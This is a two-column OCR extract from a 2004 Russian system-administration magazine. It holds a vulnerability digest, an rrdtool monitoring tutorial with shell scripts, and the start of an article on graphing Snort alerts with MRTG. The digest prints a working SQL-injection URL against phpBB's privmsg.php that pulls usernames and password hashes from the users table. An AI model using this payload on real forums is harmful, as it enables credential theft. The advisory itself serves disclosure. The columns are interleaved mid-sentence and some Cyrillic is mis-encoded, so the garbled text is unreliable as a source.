Решение: Установите обновленную версию сниффера Решение: Установите обновленную версию программы:
(0.10.3): http://www.ethereal.com/download.html. http://metalink.oracle.com/metalink/plsql/ml2_documents.
showDocument?p_database_id=NOT&p_id=265310.1.
Уязвимость в обработке сокетов
в Apache Web Server позволяет Sql-инъекция в phpBB-форуме
удаленному пользователю вызвать Программа: phpBB 2.0.8.
отказ в обслуживании Опасность: Высокая.
Программа: Apache Web Server 2.0.48 и ранние версии. Описание: Уязвимость в проверке правильности входных
Опасность: Средняя. данных обнаружена в phpBB в privmsg.php-сценарии. Уда-
Описание: Уязвимость обнаружена в веб-сервере Apache. ленный пользователь может внедрить произвольный SQL-
Удаленный пользователь может вызвать условия отказа код. Пример:
в обслуживании.
Удаленный пользователь может установить кратков- http://localhost/phpbb206c/privmsg.php?folder=savebox&mode= ↵
read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION ↵
ременное подключение к редко используемому сокету на %20SELECT%20username,null,user_password,null,null, ↵
целевом сервере, чтобы заставить дочерний процесс null,null,null,null,null, null,null,null,null,null, ↵
null,null,null,null,null,null,null,null,null,null,null,↵ ↵
Apache блокировать новые подключения, пока другое под- null,null,null,null,null,null FROM phpbb_users ↵
ключение не установится с редко используемым сокетом. WHERE user_level=1 LIMIT 1/*/privmsg.php?folder= ↵
savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type= ↵
Уязвимы некоторые версии AIX, Solaris, и Tru64 UNIX. -99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ↵
FreeBSD и Linux-системы не уязвимы. username,0,0,0,0,0,0,0,0,0,user_password FROM ↵
phpbb_users WHERE user_id=2 LIMIT 1/*
URL производителя: http://httpd.apache.org.
Решение: Установите обновленную версию программы. URL производителя: http://www.phpbb.com.
Решение: Способов устранения обнаруженной уязвимо-
Небезопасный ActiveX-компонент сти не существует в настоящее время.
позволяет удаленному пользователю
выполнять произвольные файлы Удаленное переполнение буфера в ProFTPD
в Norton Internet Security Программа: ProFTPD до версии 1.2.9rc3.
Программа: Norton Internet Security 2004. Опасность: Высокая.
Опасность: Высокая. Описание: Две уязвимости обнаружено в ProFTPD. Удален-
Описание: Уязвимость обнаружена в Norton Internet ный авторизованный пользователь может выполнить произ-
Security в WrapUM.dll ActiveX-компоненте. Удаленный вольный код с root-привилегиями на целевой системе.
пользователь может выполнить произвольные програм- Два «off-by-one»-переполнения буфера обнаружено в
мы на целевой системе. ProFTPD. Одно из переполнений связано с уязвимостью в
Сообщается, что WrapNISUM-класс (c:\program files\Norton ASCII mode upload, которая была устранена в сентябре
Internet Security Professional\WrapUM.dll) помечен как бе- прошлого года в ProFTPD 1.2.9rc2p.
зопасный для сценариев и может эксплуатироваться уда- Вторая уязвимость обнаружена в функции _xlate_ascii_
ленным пользователем, чтобы запускать произвольные write. Удаленный пользователь может представить специ-
программы на целевой системе. ально обработанную RETR-команду, чтобы вызвать пере-
Удаленный пользователь может сконструировать полнение буфера и выполнить произвольный код на уяз-
HTML, который, когда будет загружен целевым пользова- вимой системе с root-привилегиями.
телем, выполнит произвольные программы на системе с URL производителя: http://www.proftpd.org.
привилегиями целевого пользователя. Решение: Установите обновленную версию программы
URL производителя: http://www.symantec.com. (1.2.9rc3 ): http://www.proftpd.org.
Решение: Установите обновление, доступное через Live-
Update. Составил Александр Антипов

№5(18), май 2004 15


администрирование

ИСПОЛЬЗОВАНИЕ RRDTOOL
ДЛЯ МОНИТОРИНГА СЕТИ

Мониторинг сети и оборудования входит в одну


из основных обязанностей администратора.
Например, постоянное слежение способно
выявить узкие места сети, показать рост
ее загрузки, увидеть расход аппаратных
ресурсов на серверах, вовремя обнаружит
атаку и многое другое. Мониторинг можно
делать самыми разнообразными способами,
но, наверное, самым удобным является
графическое представление данных,
полученных от различных счетчиков.
В данной статье речь пойдет об одной из
наиболее грамотно организованных
программ для выполнения таких действий,
а именно о rrdtool (http://www.rrdtool.com/).

ВСЕВОЛОД СТАХОВ
Rrdtool была разработана в качестве альтернативы mrtg ное решение – записывать в одну ячейку данных несколь-
(написанной, кстати, тем же автором). Основной целью ко показателей, производя над ними некую статистичес-
автора было ускорение работы и добавление расширен- кую функцию. В каждую round-robin базу данных можно
ных возможностей по построению графиков, а также ус- записывать несколько рядов ячеек, принимающих пока-
тойчивость к сбоям. Rrdtool является очень «чистой» в затели из одного источника, но по-иному комбинируя по-
плане понимания логики работы, но за это пришлось по- ступающие данные. Ну а график строится банальным из-
платиться отсутствием внешнего файла конфигурации. влечением данных из базы за определенный период. Как
Этот недостаток пытались исправить во многих fron-end к все это выглядит на практике?
rrdtool (http://www.rrdtool.com/rrdworld/index.html), но, на мой В первую очередь нужно решить, за какими данными
взгляд, иногда проще написать грамотный скрипт, чем мы будем следить. Естественно, на первый план выходит
ковыряться со множеством настроек в запутанном кон- контроль трафика маршрутизаторов, коммутаторов, на-
фигурационном файле. Тем более что для сбора данных грузка аппаратной части серверов (загрузка ЦП, исполь-
с различных счетчиков выполняются практически анало- зование жестких дисков, контроль работы сетевых интер-
гичные действия. фейсов, объем свободной памяти и прочее), нагрузка на
Итак, рассмотрим общую логику работы rrdtool. Вна- сетевые сервисы, такие как http-, ftp-, proxy-сервера.
чале мы создаем так называемую round-robin database И первый вопрос, который встает перед нами, – как
(кольцевая или закольцованная база), в которую можно собирать статистическую информацию. Наиболее общим
записывать показания счетчиков. Почему round-robin – т.к. решением является использование протокола snmp, но это
в базе хранится только определенное количество ячеек не всегда является приемлемым для некоторых целей, на-
данных, иначе постоянно увеличивающееся количество пример, статистики http-сервера. Тогда на помощь прихо-
поступающих данных просто-напросто переполнит файл дят различные утилиты анализа log-файлов, счетчики про-
данных лишней, устаревшей информацией. граммных firewall.
Возникает закономерный вопрос – как сделать график, Если используется snmp, то для снятия статистики до-
например, за год работы? Было выбрано очень грамот- статочно иметь программы, вроде snmpget и документа-

16
администрирование
цию по OID соответствующего оборудования (например, RRA:ôóíêöèÿ_êîíñîëèäàöèè:äîñòîâåðíîñòü: ↵
по оборудованию Cisco всегда можно найти список под- îòñ÷åòîâ_íà_ÿ÷åéêó:÷èñëî_ÿ÷ååê
держиваемых OID для конкретного устройства). В против- Думаю, необходимы некоторые пояснения.
ном случае приходится вручную задавать команду для ана- Параметр filename.rrd указывает имя файла rrdb (мо-
лиза необходимых параметров. Главные критерии в вы- жет быть абсолютным или относительным, что, конечно
боре метода – скорость, доступность и надежность. Ко- же, решается на этапе подстановки самой shell), --step дли-
нечно, необходимо учесть, что ценность статистической тельность_шага – задает число секунд между предпола-
информации в ее постоянном контроле, то есть если взгля- гаемыми обновлениями rrdb, далее следуют определения
нуть на состояние системы в данный момент, то вряд ли источников данных (DS). Строки DS описывают источни-
можно понять, справляется ли она с нагрузкой, увидеть ки данных, которые будут поступать в rrdb, параметры DS-
рост нагрузки и выявить момент, когда что-либо будет нуж- line означают следующее:
даться в замене или усовершенствовании. Определив- ! имя_источника_данных – символическое имя DS, по
шись с источником информации, можно приступить к на- которому к нему будет идти обращение;
писанию скрипта для rrdtool. ! тип_источника – символическая константа, определя-
Для начала некоторые сведения о структуре скрип- ющая выбор функции для помещения нового значе-
тов. Прежде всего создаются два или три скрипта, один ния в rrdb, допустимые значения:
из которых выполняется однократно, создавая round-robin ! COUNTER: для получения текущего значения отсче-
базы данных при помощи rrdtool create. Далее необходи- та предыдущее значение счетчика вычитается из те-
мо периодически запускать скрипт обновления round- кущего и делится на интервал между отсчетами (на-
robin databases (далее rrdb), который снимает показания пример, счетчик переданных байт для измерения
с различных сенсоров и передает их в rrdb при помощи скорости). Переполнение счетчика обрабатывается
rrdtool-update, кроме того, в этот скрипт можно включить только для типа COUNTER. Счетчики могут хранить
генерацию графиков (rrdtool graph). В некоторых случа- только целые 32- или 64-битные числа;
ях можно вынести генерацию графиков в cgi-скрипт, тог- ! GAUGE: получаемое значение просто кладется в rrdb
да каждый раз при вызове cgi-скрипта будут генериро- (например, для счетчика загрузки CPU или темпе-
ваться графики. ратуры, когда нужна не разность, а само значение);
Второй вариант подходит при использовании mod_expire ! DERIVE: COUNTER, который может уменьшаться
(модуль apache, позволяющий указать периоды устаре- (защиты от переполнения нет);
вания статических данных, таких как рисунки) и является ! ABSOLUTE: получаемое значение делится на интер-
весьма практичным, т.к. графики обновляются тогда, ког- вал времени между отсчетами, полезно для обнуля-
да запрашиваются данные, и только в том случае, если ющихся при чтении источников данных.
старые данные устарели (очень большое преимущество ! интервал_определенности(heartbeat) – значение (в се-
по сравнению c mrtg). При создании скрипта обновления кундах), определяющее, сколько времени может прой-
rrdb необходимо учесть, что вызываться он будет весьма ти, пока при непоступлении новых данных от счетчика
часто и при большом количестве собираемых данных мо- в rrdb будут записываться значения Unknown (обычное
жет сильно «тормозить» систему. Для таких языков, как значение – 2∗длительность_шага);
perl и python, написаны соответствующие библиотеки для ! min,max: минимальные и максимальные значения, ко-
доступа к rrdb, поэтому часто целесообразно использо- торые могут поступить с сенсора, в качестве значения
вать именно их. Однако в данной статье я буду ориенти- может быть указан символ U, означающий отсутствие
роваться все же на shell-скрипты, т.к. наиболее ресурсо- нижнего или верхнего пределов.
емким является вызов внешних программ сбора данных,
таких как snmpget. После опеределения DS для данной rrdb необходимо
Установка rrdtool проблем вызывать не должна – изу- опеределить один или несколько round-robin архивов, для
чаем http://www.rrdtool.com/download.html и выбираем чего служит параметр RRA. Вообще понятие архива в дан-
нужную версию в требуемом формате (для FreeBSD, на- ном случае означает ряд значений, получаемых для DS и
пример, лучше всего использовать систему портов). имеющего такие параметры, как число точек отсчета на
Rrdtool содержит также несколько сторонних библиотек, ячейку ряда и число ячеек в ряду. Все данные, осуществ-
таких как libgd (для генерации графики), libpng (для ге- ляемые с rrdb происходят не через реальные значения
нерации png-изображений), а также zlib (для компрессии счетчиков, а через RRA, что позволяет вести статистику
изображений). Обязательно нужно указать в аргументах различных временных периодов и сильно сокращает раз-
к configure --enable-shared=yes для создания разделяе- мер rrdb. Синтаксис RRA-line таков:
мых библиотек rrdtool для дальнейшего их использова- ! функция_консолидации – функция для объединения
ния другими программами. данных, получаемых от датчика в ячейку RRA, может
Итак, для начала опишу применение утилит из пакета принимать следующие значения:
rrdtool. Для создания rrdb используется команда rrdtool ! AVERAGE – высчитывается среднее арифметичес-
create, имеющая следующий синтаксис: кое всех отсчетов;
! MAX,MIN – максимальное и минимальное значение
rrdtool create filename.rrd --step äëèòåëüíîñòü_øàãà ↵ отсчетов соответственно;
DS:èìÿ_èñòî÷íèêà_äàííûõ:òèï_èñòî÷íèêà: ↵
èíòåðâàë_îïðåäåëåííîñòè:min:max ↵ ! TOTAl – сумма всех отсчетов;

№5(18), май 2004 17


администрирование
! LAST – последний полученный отсчет. p", $4)}' | dc | awk -F'.' '{print $1}'`
! достоверность – минимальное число отсчетов со зна- inbytes=`ipfw show 1 | awk '{print $3}'`
outbytes=`ipfw show 2 | awk '{print $3}'`
чением Unknown(U), чтобы данная ячейка тоже приня-
ла значение U, указывается в виде правильной деся- /usr/local/bin/rrdtool update /usr/local/var/rrdtool ↵
/cpu.rrd N:${cpuload}
тичной дроби (обычно подходит значение 0.5); /usr/local/bin/rrdtool update /usr/local/var ↵
! отсчетов_на_ячейку и число_ячеек – не нуждаются в /rrdtool/myrouter.rrd N:$inbytes:$outbytes
комментариях. Соответственно правила ipfw, обеспечивающие учет
трафика, выглядят следующим образом:
Приведу пример создания rrdb:
# ipfw list
00001 count ip from me to any
rrdtool create /usr/local/var/rrdtool/myrouter.rrd --step 300 ↵ 00002 count ip from any to me
DS:input:COUNTER:600:U:U ↵
DS:output:COUNTER:600:U:U ↵
RRA:AVERAGE:0.5:1:600 ↵ Счетчик загрузки процессора создается следующим
RRA:AVERAGE:0.5:6:700 ↵
RRA:AVERAGE:0.5:24:775 ↵ образом:
RRA:AVERAGE:0.5:288:797 ↵
RRA:MAX:0.5:1:600 ↵ rrdtool create /usr/local/var/rrdtool/cpu.rrd -s 60 ↵
RRA:MAX:0.5:6:700 ↵ DS:cpuusage:GAUGE:600:0:U ↵
RRA:MAX:0.5:24:775 ↵
RRA:MAX:0.5:288:797 RRA:AVERAGE:0.5:1:483840 ↵
RRA:MIN:0.5:1440:1 ↵
RRA:MAX:0.5:1440:1
Эта команда создает rrdb myrouter.rrd для снятия ста-
тистики с сетевого интерфейса маршрутизатора, предпо- Отмечу, что для данного счетчика используется тип
лагая, что данные в нее будут поступать раз в 5 минут, GAUGE.
задаются два источника данных: счетчик принятых и от- Далее перейдем к процедуре создания графиков. Для
правленных байт, при этом счетчик не имеет ограниче- этого используется команда rrdtool graph, на мой взгляд,
ний ни сверху, ни снизу. Создаются также 8 рядов, четы- наиболее сложная по синтаксису и самая тяжелая для
ре из которых используют для консолидации данных фун- понимания. Здесь я привожу достаточно краткое ее опи-
кцию AVERAGE, а остальные – MAX. При этом создаются сание, за более подробной информацией советую обра-
следующие промежутки: 600 ячеек по 5 минут, 700 ячеек титься к странице Сергея Богомолова [1] или к странице
по 30 минут (5∗6), 775 ячеек по два часа (5∗24), а также man rrdgraph (1).
797 ячеек, хранящих статистику отсчетов за день. В дан- Вызов rrdtool graph в общем имеет следующий формат:
ном случае имитируется поведение mrtg, обрабатываю-
щей такие же временные промежутки. rrdtool graph filename [îïöèè] [îïðåäåëåíèÿ ïåðåìåííûõ] ↵
[çàäàíèå ãðàôè÷åñêèõ ýëåìåíòîâ]
Для внесения данных со счетчиков в rrdb использует-
ся команда rrdtool update, имеющая достаточно простой Из опций можно выделить следующие наиболее упот-
формат: ребительные:
! --start – точка начала отсчета графика;
rrdtool update èìÿ_rrdb.rrd ↵ ! --end – конечная временная точка графика;
âðåìÿ:çíà÷åíèå_DS1[:çíà÷åíèå_DS2[:...]]
! --lazy – обновлять график только при устаревании це-
Параметр «время» может быть заменен символом «N», левого файла (смотрится mtime);
что означает текущее время, также допускается задавать ! --imgformat – тип изображения (GIF, PNG или GD);
время в UNIX-формате (вывод команды: date -u +%s) или ! --title – заголовок для графика (кириллицу не понимает);
в формате at(1). Хотя можно не заморачиваться этими про- ! --lower-limit – нижний лимит значений;
блемами и просто использовать значение «N». Значения ! --upper-limit – верхний лимит значений;
DS указываются в том порядке, в котором они были опре- ! --rigid – не растягивать график, если встречаются зна-
делены в rrdtool create (допускается альтернативный по- чения, выходящие за верхний или нижний лимиты;
рядок, но тогда имена DS должны быть перечислены ука- ! --width, --height – ширина и высота графика соответ-
занием опции: -t ds-name:ds-name:...). В качестве значе- ственно указывается в пикселях, по умолчанию rrdtool
ния можно использовать символ «U», обозначающий нео- рассчитывает ширину графика, исходя из параметра
пределенное значение. За один вызов rrdtool update в rrdb --step, задающего шаг, и числа отсчетов;
может быть передано несколько отсчетов, для чего мож- ! --color – задание цвета различных элементов графи-
но указать несколько строк: time:value[:value], разделен- ка, используется в виде:
ных пробелом. Скрипт, вызывающий rrdtool update, луч-
ше всего запускать через интервал step, указанный при TAG:#rgbcolor
создании rrdb. Приведу пример скрипта, осуществляющего
обновление счетчиков принятых и отправленных байт че- где: TAG – один из элементов графика:
рез маршрутизатор, на базе freebsd; также производится ! BACK – фон;
мониторинг загрузки процессора: ! CANVAS – окаймление;
! SHADEA – границы справа и сверху;
--
#!/bin/sh
! SHADEB – границы слева и снизу;
cpuload=`sysctl vm.loadavg | awk '{printf("2k 100 %s * ↵ ! GRID – сетка;

18
администрирование
! MGRID – основная сетка; ! стандартные арифметические (+, -, *, /, %);
! FONT – шрифт; ! тригонометрические (SIN, COS);
! FRAME – границы непосредственно графика; ! алгебраические (LOG, EXP, FLOOR, CEIL);
! ARROW – стрелки. ! сравнения (GT, GE (>=), LT, LE (<=), EQ, работают так –
берутся два числа из стека, сравниваются, в стек по-
Опцию --color можно использовать несколько раз для мещается 0 или 1, например: 1,2,LT поместит в стек 0
указания цвета различных элементов. (аналогично 1>2));
Это, разумеется, неполный список опций, но для боль- ! условный оператор IF (из стека берутся три значения,
шинства задач его вполне хватает. В rrdtool graph есть, если последнее истинно (не ноль) – в стек помещает-
собственно говоря, два способа задания переменных. ся второе выражение, если ложно – то первое, напри-
Один – непосредственно из rrdb, а другой – на базе оцен- мер 1,2,LT,1,0,IF будет расцениваться так, если 1>2, то
ки некоторого выражения, составленного в обратной поместить в стек 1, иначе поместить 0);
польской нотации. Рассмотрим оба этих способа. Для из- ! статистические (MIN, MAX, берут из двух значений из
влечения данных из rrdb используется следующая конст- стека минимальное и максимальное соответственно);
рукция: ! ограничения (LIMIT, берет три значения из стека:
var,low,high – если var не лежит между low и high, то в
DEF:èìÿ_ïåðåìåííîé=rrdb:ds-name:ôóíêöèÿ_êîíñîëèäàöèè стек помещается UNKNOWN, иначе – var).

где: Есть еще ряд операций для работы непосредственно


! имя_переменной – символьное имя переменной; со стеком, но применяются они довольно редко, потому
! rrdb – путь к rrdb-файлу; рассматриваться здесь не будут. Теперь перейдем к эта-
! ds-name – имя ряда, указанного в rrdtool create пара- пу задания отрисовки графика. Для этого существует ряд
метром DS:name:...; параметров. Общий вид директив, задающих линии и об-
! функция консолидации – любая из рассмотренных ра- ласти, на графике таков:
нее, используется в том случае, если отсчеты проис-
ходили чаще, чем разрешение графика (идеальный Òèï:èìÿ_ïåðåìåííîé[#rgbcolor[:ëåãåíäà]]
вариант – один отсчет на один пиксель), если разре-
шение выше частоты отсчетов, то график масштаби- где:
руется. ! #rgbcolor – цвет, заданный в RGB-стандарте,
! легенда – подпись под графиком, описывающая линию
Следующий способ задания переменных графика зак- или область.
лючается в оценке выражения, записанного в обратной
польской нотации (те, кто знаком, например, с калькулято- Поле «тип» может принимать следующие значения:
ром dc или некоторыми настольными калькуляторами HP, ! HRULE – горизонтальная линия на графике (идет па-
знают, что это такое). Идея записи такова: числа помеща- раллельно шкале времени);
ются в стек, операторы извлекают нужное количество чи- ! VRULE – вертикальная линия на графике (переменная
сел из стека, проводят над ними необходимые операции и должна быть временного типа, для чего в CDEF суще-
помещают результат в стек. Например, выражение: ствуют функция TIME);
! LINE{1,2,3} – линия заданной толщины (1 – невидимая,
2 3 + 3 – самая толстая);
! AREA – закрашенная область;
будет обработано следующим образом: ! STACK – рисует линию над предыдущей линией (за-
данной LINE, AREA или другим STACK) на расстоянии,
ïîìåñòèòü â ñòåê ÷èñëî 2 равном значению переменной.
2 -> .
ïîìåñòèòü â ñòåê ÷èñëî 3
2 -> 3 -> . Для вывода текстовой информации под графиком ис-
âçÿòü èç ñòåêà äâà ÷èñëà è ñëîæèòü èõ, ðåçóëüòàò ïîìåñòèòü
îáðàòíî â ñòåê пользуется директива:
5 -> .
GPRINT:èìÿ_ïåðåìåííîé:ôóíêöèÿ_êîíñîëèäàöèè:ôîðìàò
Выражения в обратной польской нотации очень легко
обрабатывать программно (для обычной записи необхо- Параметр «формат» определяет метод вывода чисел
димо строить бинарное дерево операндов). Теперь вер- с плавающей точкой (%lf - фиксированная запятая, %lg –
немся к rrdtool. Запись переменной таким способом выг- автовыбор, %le – экспоненциальный) и выравнивание:
лядит следующим образом: ! \l – влево;
! \r – вправо;
CDEF:èìÿ_ïåðåìåííîé=âûðàæåíèå ! \c – в центр;
! \j – по ширине.
Операнды в выраженнии разделяются запятыми. Спи-
сок операторов довольно широк: Например:

№5(18), май 2004 19


администрирование
%lf\c ляющий вставлять теги вида: <RRD::COMMAND>.
Генерация графика с его помощью будет выглядеть
Также можно добавлять %s, что вставит дополнитель- следующим образом:
ный пробел по вертикали между текстом и легендой, на-
пример %lg%s\r. Приведу пример скрипта, который созда- #!/usr/local/bin/rrdcgi
<HTML>
ет графики загрузки CPU и сетевого интерфейса: <HEAD><TITLE>RRDCGI Demo</TITLE></HEAD>
<BODY>
#/bin/sh <H1>Demo of CPU usage graph</H1>
WWWPREFIX=/usr/local/www/htdocs/rrdtool <P>
RRDPREFIX=/usr/local/var/rrdtool <RRD::GRAPH ../htdocs/images/cpu.png --lazy ↵
--width 400 --start -1d --end now
/usr/local/bin/rrdtool graph $WWWPREFIX/cpuusage.png ↵ --title "CPU usage" ↵
--width 400 --start -1d --end now --imginfo '<IMG SRC=/images/%s WIDTH=%lu HEIGHT=%lu >' ↵
--title "CPU usage" ↵ DEF:cpuusage=/usr/local/var/rrdtool/cpu.rrd:cpuusage:AVERAGE ↵
DEF:cpuusage=$RRDPREFIX/cpu.rrd:cpuusage:AVERAGE ↵ "CDEF:percent=cpuusage" ↵
"CDEF:percent=cpuusage" ↵ CDEF:huge=percent,50,GT,percent,0,IF ↵
CDEF:huge=percent,50,GT,percent,0,IF ↵ CDEF:good=percent,50,GT,0,percent,IF ↵
CDEF:good=percent,50,GT,0,percent,IF ↵ HRULE:100#0000FF:"Maximum allowed" ↵
HRULE:100#0000FF:"Maximum allowed" ↵ AREA:good#00FF00:"Good load" ↵
AREA:good#00FF00:"Good load" ↵ AREA:huge#FF0000:"Overload!!">
AREA:huge#FF0000:"Overload!!" </P>
</BODY>
/usr/local/bin/rrdtool graph $WWWPREFIX/myrouter.png ↵ </HTML>
--width 400 --start -1d --end now
--title "Network usage" ↵ Учтите, что директория, куда производится запись кар-
DEF:inoctets=$RRDPREFIX/myrouter.rrd:input:AVERAGE ↵ тинок, должна быть доступна для записи пользователю, под
DEF:outoctets=$RRDPREFIX/myrouter.rrd:output:AVERAGE ↵
"CDEF:inbits=inoctets,8,*" ↵ которым работает apache (по умолчанию nobody:nobody).
"CDEF:outbits=outoctets,8,*" ↵ Параметр --lazy указан, чтобы не «дергать» rrdgraph при
AREA:inbits#00FF00:"In traffic" ↵
LINE1:outbits#0000FF:"Out traffic" чрезмерно частом обновлении страницы.
В данной статье я не буду приводить много примеров
Графики, сгенерированные данным скриптом, будут графиков. В дебрях Интернета я нашел набор скриптов,
выглядеть следующим образом: который позволит решить большинство проблем и выпол-
нить мониторинг основных параметров FreeBSD-маршру-
тизатора. Хотя чаще всего бывает полезнее использовать
snmp для сбора разнообразной информации из гетеро-
генной сети.
Учтите, что главное в мониторинге – его постоянность,
поэтому компьютер, на котором накапливаются статисти-
ческие данные, должен быть хорошо защищен и стаби-
лен. Только так можно проследить динамику развития ин-
фраструктуры сети и предложить замену узких мест (по-
дойти к начальству и продемонстрировать графики про-
изводительности намного эффективнее, нежели пытать-
ся объяснить все на пальцах: «Ну эта, тормозит!»).
Rrdtool дает гораздо больше возможностей, нежели
mrtg, поэтому совершенствовать графики и скрипты мож-
но постоянно, заставляя их показывать ту информацию,
которая нужна. Конечно же, обычно наиболее полезным
В графике загрузки CPU задаются две зоны – нормаль- является сбор статистики каждого устройства за опреде-
ная нагрузка и перегрузка. Перегрузка наступает при заг- ленный промежуток времени (день, месяц, год). Как вы
руженности процессора на более чем 50 %. В графике могли убедиться, реализовать такое поведение не долж-
загрузки сети происходит перерасчет байт, возвращае- но составить труда.
мых счетчиками ipfw в биты, в которых принято мерить
нагрузку сети. В данном примере генерируются одноднев- Список ссылок:
ные графики. Изменив переменную $PAST, можно добить- 1. http://www.rrdtool.com/ – основной сайт rrdtool, ссылки
ся генерации графиков за нужный период времени. на front-end, различные скриншоты, документация и
Для запуска скрипта обновления и генерации картинок море всего полезного.
каждую минуту пишем в /etc/crontab следующую строчку: 2. http://bog.pp.ru/work/rrdtool.html – неплохой перевод до-
кументации к rrdtool.
<begin cut> 3. http://www.ag0ny.com/graphs/ – набор скриптов для ге-
* * * * * root /usr/local/libexec/rrdtools-update.sh > ↵
/dev/null нерации графиков работы FreeBSD маршрутизатора
<end cut> (очень просты и удобны).
4. http://www.rrdtool.com/rrdworld/index.html – список раз-
Для более же удобной генерации картинок можно ис- нообразных front-end к rrdtool, полезны, когда нет вре-
пользовать специальный cgi-интерпертатор rrdcgi, позво- мени и желания писать скрипт.

20
безопасность

MRTG + SNORT

«Лучше один раз увидеть, чем сто раз услышать» гласит пословица. Многие вещи мы лучше
понимаем, представляем и запоминаем, если видели их собственными глазами. При этом не
всякое нами увиденное воспринимается одинаково хорошо. Очень сильно на процесс восприятия
влияет наглядность. В этой статье будет рассмотрен именно такой вариант отображения данных
об интенсивности атак, регистрируемых с помощью Snort. В качестве средства отображения
используется MRTG.

ПАВЕЛ ЗАКЛЯКОВ
22
безопасность
Предполагается, что имеется СОА Snort, данные с одного от имени пользователя snort. Выполним подключение ко-
или нескольких сенсоров которой заносятся в БД инци- мандой:
дентов. Необходимо организовать визуальное отображе-
ние среднего уровня атак в зависимости от времени. Для # mysql -u snort -p
отображения удобнее всего использовать штатное сред-
ство большинства Linux-систем – MRTG (The Multi Router введя после соответствующий пароль, если он был задан.
Traffic Grapher) [1, 2 стр. 52-53, 3 стр. 316, 4 стр. 208-216]. Далее выберем БД snort командой:
Предполагается, что MRTG у вас уже установлен. Рассмот-
рим его настройку. Конфигурационный файл MRTG обыч- mysql> USE snort;
но называется mrtg.cfg и находится в директории /etc/mrtg.
Нам необходимо отредактировать или создать заново этот и выполним вышеописанный SQL-запрос. В результате на
файл, добавив туда следующие строки: экране у вас может быть примерно следующее:

mrtg.cfg

# Ðàáî÷àÿ äèðåêòîðèÿ mrtg, ãäå ñîçäàþòñÿ ïîääèðåêòîðèè


# äëÿ îò÷¸òîâ, îáû÷íî îíà óæå óêàçàíà
WorkDir: /var/www/html/mrtg
# Âûáîð ÿçûêà – âíîñèò â çàãîëîâîê html-còðîêó
# ñ CONTENT="text/html; charset=koi8-r" è ëîêàëèçóåò
# html-ôàéëû ñîçäàâàåìûõ îò÷¸òîâ
Language: russian
# Âíåøíèé ôàéë, êîòîðûé áóäåò ÿâëÿòüñÿ èñòî÷íèêîì äàííûõ
# äëÿ mrtg, çàïèñûâàåòñÿ â îáðàòíûõ êàâû÷êàõ
Target[snort]:`/etc/mrtg/snort_stat.pl`
# Ìàêñèìàëüíîå ÷èñëî àòàê â åäèíèöó âðåìåíè
# Çíà÷åíèÿ âûøå èãíîðèðóþòñÿ, íóæíî áîëüøå äëÿ íàãëÿäíîñòè
MaxBytes[snort]: 2000
AbsMax[snort]: 2000
# Çàãîëîâîê îêíà áðàóçåðà, òåã <title> â html Если БД с инцидентами у вас достаточно большая, то
Title[snort]: Ñòàòèñòèêà àòàê (äàííûå Snort) запрос может выполняться несколько десятков секунд.
# Çàãîëîâîê ñòðàíèöû ñ ãðàôèêàìè
PageTop[snort]: <H1>Ñòàòèñòèêà àòàê (äàííûå Snort)</H1> Убедившись, что число строк в таблице event, время
# Ïîääèðåêòîðèÿ â WorkDir, ãäå áóäóò ñîçäàâàòüñÿ îò÷¸òû которых лежит в интервале последних 300 секунд, счита-
Directory[snort]: snort
# Ðàçìåð ãðàôèêîâ ïî øèðèíå â òî÷êàõ ется правильно, создадим файл snort_stat.pl в директории
XSize[snort]: 600 /etc/mrtg, который будет выполнять все проделанные нами
# Ðàçìåð ãðàôèêîâ ïî âûñîòå â òî÷êàõ
YSize[snort]: 160 действия в автоматическом режиме. Подробнее о созда-
# Ïîäïèñü ãðàôèêîâ ïî îñè îðäèíàò нии подобных скриптов можно прочитать в [7, 8].
YLegend[snort]: Attacks per minute
# Ïîäïèñü ëåãåíäû, ïîÿñíåíèå, ÷òî èìåííî çà ãðàôèê
# íàðèñîâàí òàêèì-òî öâåòîì.(Íåîáõîäèìî, ÷òîáû íå Ôàéë snort_stat.pl
# çàïóòàòüñÿ, êîãäà ãðàôèêîâ íåñêîëüêî)
Legend1[snort]: ×èñëî àòàê â ìèíóòó #!/usr/bin/perl
# Óáðàòü ëèøíþþ èíôîðìàöèþ # Ôàéë, âûäàþùèé ÷èñëî àòàê çà ïîñëåäíèå 300 ñåêóíä
LegendI[snort]: &nbsp;
LegendO[snort]: use DBI;
# Çàäàòü íàïðàâëåíèå ðèñîâàíèÿ ãðàôèêîâ è ÷òî çíà÷åíèÿ,
# âûäàâàåìûå ïðîãðàììîé, óêàçàííîé â Target, ÿâëÿþòñÿ # Õîñò, ãäå çàïóùåíà ÁÄ MySQL
# àáñîëþòíûìè $hostname="àäðåñ_õîñòà_MySQL_ñ_ÁÄ_snort";
Options[snort]: absolute, growright # Ïîðò, íà êîòîðîì çàïóùåíà ÁÄ MySQL
# Ïîäïèñü åäèíèö èçìåðåíèÿ àòàê $port="3306";
ShortLegend[snort]: àòàê/ìèí # Èìÿ ïîëüçîâàòåëÿ, îò êîòîðîãî ïîäêëþ÷àòüñÿ ê ÁÄ
$user="snort";
# Ïàðîëü ïîëüçîâàòåëÿ, óêàçàííîãî âûøå
После того как внесена правка в конфигурационный $password="ïàðîëü_ïîäêëþ÷åíèÿ_ê_ÁÄ";
файл mrtg.cfg, необходимо создать файл, на который мы # Èìÿ ÁÄ, ê êîòîðîé îñóùåñòâëÿåòñÿ ïîäêëþ÷åíèå
$database="snort";
сделали ссылку в поле Target[snort]: /etc/mrtg/snort_stat.pl.
Этот файл будет запускаться по запросу mrtg, и он должен # Ïîäêëþ÷èòüñÿ ê ÁÄ
$dbh = DBI->connect("DBI:mysql:$database:$hostname:$port", ↵
подключаться к БД snort и подсчитывать число атак, на- $user,$password);
пример за последние 5 минут, после чего выдавать это зна- # Ïîäãîòîâèòü SQL-çàïðîñ, âûïîëíÿþùèé ïîäñ÷¸ò ÷èñëà àòàê
# çà ïîñëåäíèå 300 ñåêóíä íà âûïîëíåíèå
чение в требуемом mrtg формате. Реализовать данную $sth = $dbh->prepare("SELECT count(timestamp) FROM event ↵
идею возможно с помощью следующего SQL-запроса: WHERE unix_timestamp(now())-unix_timestamp(timestamp)<300");
# Âûïîëíèòü çàïðîñ
$sth->execute;
SELECT count(timestamp) FROM event # Ðåçóëüòàò âûïîëíåííîãî ðàíåå çàïðîñà ïîìåñòèòü â ìàññèâ ref
WHERE unix_timestamp(now())-unix_timestamp(timestamp)<300 @ref = $sth->fetchrow_array;
